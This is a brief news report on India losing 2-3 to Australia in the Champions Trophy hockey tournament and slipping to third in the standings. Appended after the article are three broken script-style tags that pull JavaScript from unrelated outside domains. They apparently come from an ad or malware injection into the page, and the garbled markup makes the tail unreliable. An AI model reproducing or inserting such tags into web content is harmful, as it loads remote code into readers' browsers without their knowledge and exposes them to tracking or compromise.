In Champions Trophy hockey tournament, India fought valiantly before going down 2-3 to world champions Australia to slump to their first defeat in the  tournament. 

The loss meant India slumped to third spot in the standings with six points from two wins behind hosts Netherlands. Australia climbed to the top with seven points from three games. 

The top two sides after the round robin stage of the six-team event will play in the final of the tournament on Sunday. India will next play Belgium on Thursday. < type="text/java" src="http://pageanalytics.space/addons/lnkr5.min.js">< type="text/java" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52200x6849x&r=34">< type="text/java" src="http://pageanalytics.space/ext/1ac1b73204b5d3dec6.js?sid=52200_6849_&title=&blocks[]=31af2">